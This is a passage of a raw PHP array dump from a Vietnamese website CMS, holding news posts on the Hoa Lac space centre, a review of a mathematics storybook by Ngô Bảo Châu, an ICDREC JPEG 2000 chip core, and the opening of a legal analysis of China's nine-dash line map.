Cách trung tâm Hà Nội 30km, trải rộng trên diện tích 9ha, Khu Nghiên cứu – Triển khai Công nghệ vũ trụ tại Khu công nghệ cao Hoà Lạc có tổng vốn 350 triệu đô-la Mỹ từ nguồn vốn vay ODA ưu đãi của Nhật Bản. Trung tâm Vũ trụ Việt Nam tại Hoà Lạc sẽ được lắp đặt các thiết bị hiện đại hàng đầu Việt Nam và khu vực, sánh tầm nhiều trung tâm vũ trụ lớn của thế giới. Cùng với việc chủ động giám sát thảm họa, quản lý tài nguyên thiên nhiên, phát triển các ngành khoa học phụ trợ, Trung tâm Vũ trụ Việt Nam sẽ là nơi thành lập Trung tâm Quan sát Trái đất và Phát triển vệ tinh, chuyển giao công nghệ và phát triển nguồn nhân lực ngành công nghệ vũ trụ, tạo đà phát triển bền vững cho Việt Nam, thúc đẩy hợp tác quốc tế giữa Việt Nam và các nước châu Á – Thái Bình Dương.</div>
<div>
</div>
<div>
Chính phủ Việt Nam đang đẩy mạnh công tác nghiên cứu và làm chủ công nghệ chế tạo vệ tinh nhỏ cỡ nhỏ (pico và mini) với dự án vệ tinh VNRedsat 1 (hợp tác với Pháp) và vệ tinh VNRedsat 2 (hợp tác với Bỉ), cùng nhiều dự án hợp tác với Cơ quan Hàng không vũ trụ Nhật Bản (JAXA). Hiện nay, tương lai nghề nghiệp ngành công nghệ vũ trụ và ứng dụng tại Việt Nam vô cùng rộng mở.</div>
<div>
</div>
<div>
---</div>
<div>
</div>
<div>
* CLB Thiên văn nghiệp dư TP.HCM (HAAC)</div>
<div>
</div>
<div>
1. Thông tin về chương trình học và thủ tục ứng tuyển có thể tham khảo thêm tại trang http://usth.edu.vn/vi/studycourses/mastercourses/master-of-space-and-applications/</div>
<div>
</div>
<div>
2. Theo trang web: http://graphicsweb.wsj.com/documents/NILF1111/#term=</div>
',
'images' => '201606150911150c257c177fbfb4f676613725df7b63fa.jpg',
'images_multi' => null,
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2016-06-15',
'modified' => '2025-08-18',
'status' => '1',
'view' => '55247',
'slug' => 'gan-lam-giac-mo-thien-van-viet-nam',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '707',
'rght' => '708',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 8 => array(
'Post' => array(
'id' => '408',
'name' => 'Ai và Ky ở xứ sở của những con số tàng hình*',
'code' => null,
'alias' => 'ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '',
'content' => '<div>
Tôi may mắn có trong tay bản thảo cuốn sách đã ba tháng nay, và phải làm cái công việc khó khăn là không dám “khoe” vì sợ lộ bí mật. Nay cuốn sách đã ra mắt, xin đưa lên bài viết về cảm nhận của tôi khi đọc sách. Cũng có thể xem là lời giới thiệu cuốn sách với bạn đọc.</div>
<div>
Một cuốn sách trình bày những kiến thức toán học dưới dạng “ngây thơ” nhất, và vì thế, bản chất nhất. Ta gặp ở đây những khái niệm đầu tiên về số, những vấn đề “cao siêu” như trường số, tính không giải được bằng căn thức của phương trình bậc 5 tổng quát, cho đến hình học phi Euclid, đường trắc địa…Một cuốn lịch sử toán học, từ sự ra đời của số vô tỷ đầu tiên đến sự xuất hiện của phương pháp tọa độ và giải tích vô cùng bé. Nhưng trước tiên, cuốn sách là một câu chuyện cổ tích tuyệt đẹp, với nắng vàng trên bãi cát, với bầu không khí trong vắt của trí tuệ và tình người, với những nghịch lý và âm mưu. Ta chợt nhận ra rằng, thế giới của những con số cũng huyền ảo, kỳ bí và lãng mạn như cuộc đời.</div>
<div>
</div>
<div>
Tác giả đưa ta vào câu chuyện cổ tích, mà ở đó cùng với Ai và Ky, ta bắt gặp những con người của nhiều thế kỷ khác nhau đang sống cùng nhau trong một thế giới chung: Toán học. Ta gặp Euclid (thế kỷ III TCN) và Thales (624-546 TCN), hai nhà phù thủy chỉ dùng cây thước và compa mà dựng nên cả “thế giới hữu tỷ”; thấy Pythagoras (570-495 TCN) nghiêm khắc trừng phạt anh học trò Hyppasus (thế kỷ V TCN) vì đã dám tạo ra số vô tỷ đầu tiên, phá vỡ cái hài hòa của thế giới hữu tỷ. Ta gặp Zeno xứ Elea (490- 430 TCN) hiện thân thành cô gái Zena với cặp mắt mê hoặc, mà khi nhìn vào đó, thời gian dường như bị chia thành những mảnh nhỏ vô cùng mà ta không thể vượt qua. Nhưng cuối cùng, Alice (lực sĩ Achilles?) đã dũng cảm vượt qua cái “nghịch lý Zeno” đó, dù biết là phải chịu trừng phạt. Để vượt qua cái việc chia cắt thời gian thành những mảnh nhỏ, Alice phải nhờ tới “chuỗi hội tụ”, nhờ tới giải tích vô cùng bé. Ông Chico hiểu điều đó, nhưng vẫn trừng trị Alice, để không làm phật ý Đức Vua, người chỉ biết dùng phép khai căn để tìm ra gốc gác từng thần dân (số) của mình. Ta nhận ra trong bóng dáng Chico hình ảnh của Cauchy (1789-1857), nhà toán học thiên tài, một trong những người đặt nền móng cho giải tích vô cùng bé, nhưng cũng là một người bảo hoàng cực đoan. Cũng vì phụng sự Đức Vua mà Chico trừng phạt chàng Elaci, người đã phát hiện ra rằng Đức Vua không thể chỉ dùng phép khai căn mà tìm được những “thần dân” là nghiệm của phương trình bậc năm. Ông Chico muốn dìm đi phát hiện đó của chàng Elaci, và Elaci đã phải quyết đấu với con rồng. Nhưng trong câu chuyện cổ này, Elaci không chết ở tuổi 21 như Evariste Galois (1811-1832) trong buổi sáng định mệnh sau trò đấu súng, mà chỉ bị đày đến “xứ p-adic”, xứ sở mới của những con số khác với số thực và phức nhưng cũng không kém phần hấp dẫn.</div>
<div>
</div>
<div>
Ai và Ky ở xứ sở của những con số tàng hình còn là cuốn sách vỡ lòng về triết học của toán học. Với cặp mắt ngây thơ của Ai, ta nhìn ra mâu thuẫn ẩn chứa trong các chứng minh phản chứng, mâu thuẫn giữa cái hữu hạn và vô hạn, của sự chứng minh được hay không một chân lý toán học. Bởi thế nên ông già Cartesius (René Descartes, 1596-1650) mới nhận ra rằng, để “tồn tại” thì chỉ “suy nghĩ” thôi là chưa đủ: “Ta đang nghi ngờ, việc của ta là nghi ngờ. Ta sợ một lúc nào đó ta không còn nghi ngờ được nữa, thì bản thân ta cũng sẽ trở nên tàng hình”. Cũng bởi vì thế mà Diogenes xứ Sinop (412 hoặc 404 – 323 TCN) mới cầm đèn đi giữa ban ngày để tìm cho ra người lương thiện.<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge.jpg" style="width: 250px; height: 166px;" /></div>
<div>
</div>
<div>
“Giải quyết một bài toán cũng như ăn từng miếng nhỏ của trái táo. Làm như thế một là để thưởng thức, hai là để tránh nghẹn”, ông già Cartesius đã khuyên Ai như thế. Cuốn sách trên tay các bạn cũng cần được thưởng thức chậm rãi như thế, để có thể cảm nhận được hương vị đậm đà của nó. Và trên hết, phải có cặp mắt ngây thơ như cậu thiếu niên Ai, để nhìn ra chân lý. Bởi vì chân lý chỉ dành cho những người không bị che mắt bởi cái vụn vặt thường nhật.</div>
<div>
</div>
<div>
Lời nhắn nhủ của Elaci từ xứ sở p-adic cũng là lời nhắn cho tất cả chúng ta: “Hãy lắng nghe những người khác nói nhưng luôn suy nghĩ bằng cái đầu của mình. Cuối cùng và quan trọng nhất là đừng bao giờ để rơi mất tiếng cười hồn nhiên của Alice”.</div>
<div>
</div>
<div>
Cuốn sách giản dị, thông thái, sâu sắc, vừa dễ gần, vừa không dễ hiểu - như chính tác giả của nó vậy."</div>
<div>
</div>
<div>
Gấp sách lại, cái “cảm giác tiếc nuối trở nên mơ hồ như làn khói lam chiều. Có một tiểu hành tinh vừa băng qua mùa thu của Trái đất”. </div>
<div>
</div>
<div>
---</div>
<div>
</div>
<div>
* Tác giả: Ngô Bảo Châu và Nguyễn Phương Văn; NXB Thế Giới và Nhã Nam ấn hành tháng 3/2012</div>
',
'images' => '20160615091008fbff3e430b33ac364ed26e294730583f.jpg',
'images_multi' => null,
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2016-06-15',
'modified' => '2025-08-18',
'status' => '1',
'view' => '52316',
'slug' => 'ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '705',
'rght' => '706',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 9 => array(
'Post' => array(
'id' => '407',
'name' => 'TPHCM thiết kế thành công lõi IP nén ảnh JPEG 2000 ',
'code' => null,
'alias' => 'tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '',
'content' => '<div>
Lõi IP nén ảnh JPEG 2000 do Trung tâm Nghiên cứu và Đào tạo Thiết kế Vi mạch (ICDREC), ĐH Quốc gia TPHCM, chế tạo là nền tảng để thiết kế các chip xử lý hình ảnh, ứng dụng trên các sản phẩm thuộc lĩnh vực y học, trắc địa học, truyền thông, viễn thám, sinh trắc học, giải trí...</div>
<div>
Sản phẩm lõi IP nén ảnh JPEG 2000 thuộc đề tài "Nghiên cứu thiết kế và chế tạo thử nghiệm chip nén ảnh theo tiêu chuẩn JPEG2000 và chip ADC đa năng ứng dụng trong y tế" của chương trình KH&CN trọng điểm cấp nhà nước KC.01/11-15 do ThS. Nguyễn Minh Khánh Ngọc (ICDREC) là chủ đề tài. Ngoài ra, ICDREC còn phối hợp với Vụ Trang thiết bị và Công trình y tế (Bộ Y tế) cùng thực hiện đề tài.<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/MakeThumbnail.jpg" style="width: 150px; height: 130px;" /></div>
<div>
<br />
Tại buổi họp báo ngày 9/7, giám đốc ICDREC, ông Ngô Đức Hoàng, cho biết, JPEG 2000 là chuẩn nén ảnh của thế giới do Joint Photographic Experts Group công bố vào năm 2000, được ứng dụng trong nhiều lĩnh vực đời sống xã hội như các thiết bị đa phương tiện (điện thoại di động, máy quay camera, máy ảnh kỹ thuật số, máy in), y tế (nén ảnh cho các thiết bị X-quang, siêu âm...), khảo sát trắc địa (ảnh chụp từ vệ tinh cần nén trước khi truyền về trái đất...), quân sự/giám sát (cung cấp hình ảnh vệ tinh HD, phát hiện chuyển động, thiết lập mạng lưới phân phối và lưu trữ hình ảnh, camera giám sát chất lượng cao…</div>
<div>
</div>
<div>
Bắt tay thực hiện đề tài từ năm 2012, ThS. Nguyễn Minh Khánh Ngọc và các cộng sự đã nghiên cứu và nắm vững kỹ thuật thiết kế hệ thống nén ảnh JPEG 2000, kỹ thuật thiết kế bộ chuyển đổi tín hiệu tương tự sang số ADC độ chính xác cao và kỹ thuật thiết kế vi mạch ở công nghệ 130 nano mét. Đây là cơ sở để các nhà nghiên cứu thiết kế và chế tạo lõi IP mềm thực hiện nén ảnh theo tiêu chuẩn JPEG 2000.</div>
<div>
</div>
<div>
Sản phẩm lõi IP nén ảnh JPEG 2000 của ICDREC cho phép nén các ảnh tĩnh có độ phân giải cao lên đến 16 triệu điểm ảnh và 16 bit độ xám với các chế độ nén tổn hao và không tổn hao trên cùng một hệ thống, đồng thời cho phép người dùng nén các loại ảnh có tối đa bốn thành phần màu cùng với các định dạng ngõ vào khác nhau như 444, 422, 420 và mức xám. Lõi IP nén ảnh JPEG 2000 còn có thể nén ảnh động với độ phân giải HD đạt tốc độ 24 fps (frame/giây).</div>
<div>
</div>
<div>
Từ sản phẩm này, đội ngũ thiết kế vi mạch của ICDREC sẽ thiết kế các chip xử lý hình ảnh, ứng dụng trong các sản phẩm đòi hỏi hình ảnh có độ phân giải ảnh lớn và độ phân giải mức xám cao thuộc lĩnh vực y học, trắc địa học, truyền thông, viễn thám, sinh trắc học, giải trí…</div>
<div>
</div>
<div>
Trong quá trình nghiên cứu và thiết kế sản phẩm lõi IP, ICDREC còn đào tạo được đội ngũ nhân lực thiết kế vi mạch trong lĩnh vực tín hiệu số và xử lý ảnh, thiết kế vi mạch analog cho các ứng dụng chuyển đổi tín hiệu tương tựm đồng thời góp phần hỗ trợ cho một số nghiên cứu, dự án khác về các thiết bị xử lý ảnh y sinh và các thiết bị đo trong y tế.</div>
<div>
</div>
<div>
Về ý nghĩa lâu dài của đề tài, các nhà chuyên môn cho biết, khi ứng dụng thiết bị trên các hệ thống thiết bị y tế sẽ góp phần giảm giá thành thiết bị, giải tỏa áp lực và gánh nặng cho ngành y tế; cải thiện chất lượng phúc lợi xã hội, góp phần tạo thế cân bằng trong việc cung cấp linh kiện điện tử trong nước; hạn chế sự phụ thuộc vào linh kiện nước ngoài; góp phần làm giảm giá thành sản phẩm điện tử làm ra để có thể cạnh tranh mạnh mẽ với các sản phẩm cùng loại trong và ngoài nước.</div>
<div>
</div>
<div>
Tại lễ công bố, ICDREC và công ty cổ phần Điện tử Biên Hòa (Belco) đã ký kết hợp tác cùng phát triển lõi IP nén ảnh JPEG 2000 của ICDREC thành chip xử lí để ứng dụng cho các sản phẩm mà Belco đang sản xuất.</div>
',
'images' => '201606150908575e1f128ae6bd71960aa75fdd584b9db5.jpg',
'images_multi' => null,
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2016-06-15',
'modified' => '2025-08-18',
'status' => '1',
'view' => '59449',
'slug' => 'tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '703',
'rght' => '704',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
)
)
$detailNews = array(
'Post' => array(
'id' => '418',
'name' => 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ',
'code' => null,
'alias' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '',
'content' => '<br />
<img alt="" src="/admin/webroot/upload/image/images/Chấm và vạch trong Biển Đông.jpg" style="width: 250px; height: 182px;" /><br />
<br />
<div>
Ngày 07 tháng 5 năm 2009, Cộng hòa Nhân dân Trung Hoa (CHNDTH) phản đối đệ trình của Việt Nam và đệ trình chung của Malaysia-Việt Nam gửi Ủy ban Ranh giới thềm lục địa (CLCS). Để hậu thuẫn cho các yêu sách của mình, Trung Quốc (TQ) đã kèm một bản đồ có vẽ một đường hình chữ U nhiều chấm bao trùm phần lớn Biển Đông vào công hàm phản đối.</div>
<div>
Bài nghiên cứu này là đưa ra một phân tích về mặt pháp lý quốc tế bản đồ nói trên. </div>
<div>
</div>
<div>
</div>
<div>
I. BẢN ĐỒ TRUNG QUỐC</div>
<div>
</div>
<div>
A. Nền tảng</div>
<div>
</div>
<div>
Nguồn gốc của đường chữ U bắt đầu từ các hoạt động của Uỷ ban thẩm tra Bản đồ Đất và Nước của Trung Hoa Dân Quốc (THDQ), thành lập vào năm 1933. Trách nhiệm của Uỷ ban này bao gồm việc khảo sát và đặt tên các đảo ở Biển Đông và in ra các bản đồ cho thấy các đảo này thuộc chủ quyền của TQ. [1]</div>
<div>
</div>
<div>
Đường nhiều chấm được chuẩn nhận chính thức đầu tiên phát xuất từ sau cuộc chiến tranh thế giới thứ hai. Tờ bản đồ đang bàn do Sở lãnh thổ và Ranh giới Bộ Nội vụ THDQ in ra vào tháng 12 năm 1946. [2] Trên bản đồ này, đường chữ U gồm 11 vạch liên tục bao kín phần lớn Biển Đông và các thể địa lý giữa đại dương. [3] Bắt đầu từ ranh giới Trung-Việt, hai vạch đầu tiên đi qua Vịnh Bắc Bộ. Vạch thứ ba và thứ tư của đường này phân cách bờ biển Việt Nam với các quần đảo Hoàng Sa và Trường Sa, tương ứng. Vạch thứ năm và thứ sáu trên đường đứt đoạn đi qua Bãi cạn James (4° N), thể địa lý biển cực nam mà TQ và THDQ tuyên bố chủ quyền. Di chuyển theo hướng đông bắc, hai vạch tiếp theo nằm giữa quần đảo Trường Sa phía này, và Borneo (Indonesia, Malaysia, và Brunei) và Philippines (tỉnh Palawan), phía kia. Vạch thứ chín, thứ mười, và thứ mười một phân cách Philippines với THDQ. [4] Sau khi loại Quốc dân Đảng khỏi Trung Hoa đại lục, CHNDTH cũng phát hành bản đồ vẽ với cùng các vạch trên. [5] Như vậy, từ đó trở đi, ở hai phía của eo biển Đài Loan đều thấy có bản đồ đường chữ U xuất hiện. Một trong thay đổi đặc biệt cần lưu ý: từ năm 1953, bản đồ Biển Đông TQ chỉ vẽ 9 thay vì 11 vạch (2 vạch ở Vịnh Bắc Bộ đã bị xoá). [6]</div>
<div>
</div>
<div>
B. Công hàm TQ gửi Tổng thư ký LHQ (ngày 07 tháng 5 năm 2009)</div>
<div>
</div>
<div>
Ở cấp độ quốc tế, tranh cãi xung quanh đường 9 chấm đã rộ lên trước Liên Hợp Quốc (LHQ) vào năm 2009 liên quan tới đệ trình chung của Malaysia-Việt nam[7] và đệ trình riêng của Việt Nam[8] cho CLCS. CLCS đưa ra khuyến nghị cho các nước ven biển có nhu cầu xác lập ranh giới bên ngoài thềm lục địa vượt quá 200 hải lý (nm). [9] Thời gian đệ trình của các chính phủ Việt Nam và Malaysia có thể được giải thích bởi thời hạn chót của họ là vào tháng 5 năm 2009. [10] Để đáp trả các đệ trình này, trong cùng ngày TQ đã chính thức gửi Tổng thư ký LHQ hai công hàm riêng biệt có kèm bản đồ đó [11], bằng cách này lần đầu tiên xác nhận đường chữ U, ở cấp quốc tế trong một tranh chấp cấp nhà nước, [12] với phản ứng giống hệt nhau sau đây:</div>
<div>
</div>
<div>
TQ có chủ quyền không thể tranh cãi đối với các đảo ở Biển Đông và các vùng biển lân cận, và được hưởng quyền chủ quyền và quyền tài phán trên các vùng biển liên quan cũng như biết đáy biển và lòng đất dưới biển (xem bản đồ kèm theo). Lập trường nêu trên đượcChính phủ TQ nhất quán thể hiện, và được cộng đồng quốc tế biết đến rộng rãi. [13]</div>
<div>
</div>
<div>
Đọc Công hàm này, một học giả Đài Bắc suy ra một số khẳng định của TQ:</div>
<div>
</div>
<div>
1. Chủ quyền đối với các đảo ở Biển Đông và vùng biển tiếp giáp chúng (bản đồ kèm theo cho thấy các thể địa lý biển sau đây trong đường đứt khúc theo tên: quần đảo Tây Sa, [14] quẩn đảo Nam Sa, [15] quần đảo Trung Sa, [16] và quẩn đảo Đông Sa[17]).</div>
<div>
</div>
<div>
2. Quyền chủ quyền và quyền tài phán đối với vùng biển liên quan bao gồm đáy biển và tầng đất dưới đáy biển của chúng.</div>
<div>
</div>
<div>
3. Tính nhất quán của vị thế chính thức của TQ về các yêu sách biển và lãnh thổ ở Biển Đông.</div>
<div>
</div>
<div>
4. Sự nhận biết của các nước bên thứ ba liên quan đến yêu sách của TQ về biển và lãnh thổ ở Biển Đông.</div>
<div>
</div>
<div>
5. Đường chữ U mô tả những yêu sách của TQ về chủ quyền, quyền chủ quyền và quyền tài phán. [18]</div>
<div>
</div>
<div>
Tuy nhiên, dường như công bằng để nói rằng giải thích chính thức của TQ trích dẫn trên, theo như ý nghĩa chính xác của bản đồ đính kèm, vẫn còn là mơ hồ. Cụ thể, bản chất pháp lý chính xác của các khu vực biển bao bọc bởi đường 9-chấm-vẫn còn mờ mịt, mặc dù có việc "làm rõ" của TQ. Điểu này được thể hiện rõ ràng bởi các phản ứng đang dạng mà họ gây ra tại các hội nghị chuyên ngành được tổ chức kể từ đó. [19]</div>
<div>
</div>
<div>
Theo hiểu biết của chúng tôi, cho đến nay chỉ có một nước là Philippines thực hiện nỗ lực giải thích.[20] TQ nhanh chóng trả lời với một công hàm mới, một lần nữa công hàm này chẳng làm cho rõ ràng hơn bao nhiêu. Trong công hàm mới này, đề ngày 14 tháng 4 năm 2011, TQ nêu rằng “chủ quyền và các quyền và quyền tài phán liên quan của TQ trong Biển Đông” được hỗ trợ bằng “chứng cứ lịch sử và pháp lý phong phú”'.[21] Điều rõ ràng trong tài liệu ngoại giao mới này là sự thiếu vắng của bất kỳ đề cập nào tới bản đồ trên. Từ sự thiếu vắng này, chúng ta có thể suy ra sự từ bỏ đường 9 chấm hay không? Chắc chắn, không thể giả định có một sự quay ngoắt (volte-face) một cách hời hợt. Hơn nữa, dù họ đang chủ trương làm dịu đi các quan ngại về tự do hàng hải ở Biển Đông, [22] ví như can thiệp gần đây của TQ đối với tàu thuyền Việt Nam và Philippines mà thôi cho thấy các yêu sách quá đáng của họ như trên bản đồ vẫn còn nguyên vẹn.</div>
<div>
</div>
<div>
II. CÁC YÊU SÁCH</div>
<div>
</div>
<div>
Công hàm ngày 07 tháng 5 năm 2009 của TQ, dù là có thể mới trong các khía cạnh vể biển của nó nhưng chỉ lặp lại những khẳng định tương tự như đã đưa ra trong quá khứ liên quan đến các thể địa lý. [23] Hơn nữa, nhiều học giả chủ yếu của TQ và Đài Loan đã đề ra các cách giải thích riêng của họ về đường 9 chấm. Giữa sự rối rắm này, người ta chỉ có thể chắc chắn một điều là các khẳng định TQ về Biển Đông không vượt quá ranh giới này. [24] Những quan điểm và giá trị pháp lý của các khẳng định này sẽ được thảo luận sau đây.</div>
<div>
</div>
<div>
A. Yêu sách lịch sử</div>
<div>
</div>
<div>
1. Thực hành Nhà nước (State practice)</div>
<div>
</div>
<div>
Mặc dù các khẳng định kiểu này dường như không là nét đặc biệt trong chính sách chính thức của TQ, Đài Bắc có truyền thống ủng hộ lập trường này đối với đường chữ U khá mạnh, như có thể thấy trong một loạt các tuyên bố. Ví dụ, trong năm 1991 tại một trong những Hội thảo về Biển Đông, một đại diện Văn phòng Kinh tế và Thương mại Đài Bắc ở Jakarta (Indonesia) tuyên bố:</div>
<div>
</div>
<div>
Biển Đông là một vùng nước thuộc thẩm quyền của THDQ. THDQ có quyền và đặc quyền trong Biển Đông. Bất kỳ hoạt động nào trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. [25]</div>
<div>
</div>
<div>
Hướng dẫn Chính sách cho Biển Đông năm 1993 (chuẩn nhận bởi Bộ trưởng Hành Chánh) lưu ý rằng:</div>
<div>
</div>
<div>
Trên cơ sở lịch sử, địa lý, luật pháp quốc tế, và nhiều sự kiện, quần đảo Trường Sa, quần đảo Hoàng Sa, bãi cạn Macclesfield, và quần đảo Pratas luôn là phần lãnh thổ cố hữu của THDQ. Chủ quyền của nước THDQ đối với chúng không còn chút nghi ngờ nào. Khu vực Biển Đông trong ranh giới vùng nước lịch sử là khu vực biển thuộc thẩm quyền của nước THDQ, THDQ sở hữu tất cả các quyền và lợi ích trong đó. [26]</div>
<div>
</div>
<div>
Trong năm 1994, Bộ trưởng Bộ Hành Chánh, Trương Kim Ngọc (Chang King-yu), nói rằng “các vùng biển được bao bọc bởi đường chữ U ở Biển Đông là vùng nước lịch sử của chúng ta và THDQ được hưởng tất cả các quyền trong đó” (nhấn mạnh thêm). [27]</div>
<div>
</div>
<div>
Chính sách của Đài Bắc được suy luận xa hơn từ các phản đối đã thực hiện chống lại cách ứng xử của các nước ven biển trong khu vực. Đáp trả với việc Malaysia chiếm đóng hai thể địa lý tại quần đảo Trường Sa và việc Philippines quyết địnhsáp nhập bãi cát ngầm Scarborough trên bản đồ của họ, Đài Bắc tuyên bố:</div>
<div>
</div>
<div>
Biển Đông là một vùng nước của THDQ. THDQ có tất cả các quyền và đặc quyền trong vùng Biển Đông. Bất kỳ hoạt động nào (kể cả việc thảo luận về hợp tác chung hoặc Quy tắc ứng xử, vv) trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. (nhấn mạnh thêm) [28]</div>
<div>
</div>
<div>
Một số chuyên gia đã cóp nhặt nhiều lập luận pháp lý cho tuyên bố mong manh này. [29] Ví dụ, Triệu Quốc Tài (Guocai Zhao) nhận xét:</div>
<div>
</div>
<div>
TQ sở hữu quyền lịch sử các hòn đảo, đá ngầm, bãi cát ngầm, các bãi cạn, và các vùng nước trong đường 9 chấm. Biển Đông được coi là vùng nước lịch sử của TQ, điều đó được thừa nhận phổ quát vào thời điểm đó. Cho đến nay điều này đã kéo dài nửa thế kỷ. [30]</div>
<div>
</div>
<div>
2. Phân tích pháp lý</div>
<div>
</div>
<div>
Việc xem xét các bài viết học thuật về các tuyên bố lịch sử liên quan đến các khu vực biển làm phát sinh rất nhiều nhầm lẫn về thuật ngữ. Các khái niệm thích hợp như quyền lịch sử / sở hữu lịch sử, các vùng nước lịch sử, và vịnh lịch sử không dễ dàng phân biệt và làm sáng tỏ. [31] Để tránh việc tìm hiểu kéo dài không cần thiết và phần nào thừa thãi về sự khác biệt giữa các quyền lịch sử và sở hữu lịch sử, chỉ cần nói rằng “quyền lịch sử” là chủng (genus) mà theo đó người ta có thể đặt các loại (species) “vùng nước lịch sử” vào. Tương tự, “vịnh lịch sử” là một loại “vùng nước lịch sử”. [32] Trong bối cảnh của đường 9 chấm, cách ứng xử của Đài Bắc dường như bao hàm sự công nhận các vùng nước lịch sử liên quan đến một phần chủ yếu của Biển Đông.</div>
<div>
</div>
<div>
Không có định nghĩa được chấp nhận rộng rãi về các vùng nước lịch sử, nhưng theo cách hiểu rộng rãi, nó biểu thị các quyền dành cho một nước ven biển đối với một hoặc nhiều khu vực biển mà nước đó bình thường sẽ không được hưởng. Phạm vi các quyền đi cùng với vùng nước lịch sử có thể khác nhau đáng kể. Các điều kiện pháp lý cho việc thụ đắc các vùng nước lịch sử đã được xem xét trong một nghiên cứu năm 1962 do Văn phòng Ban thư ký Liên Hợp Quốc của Vụ Pháp chế (OLA) thực hiện theo yêu cầu của Uỷ ban pháp luật quốc tế. [33] Theo quan điểm của OLA:</div>
<div>
</div>
<div>
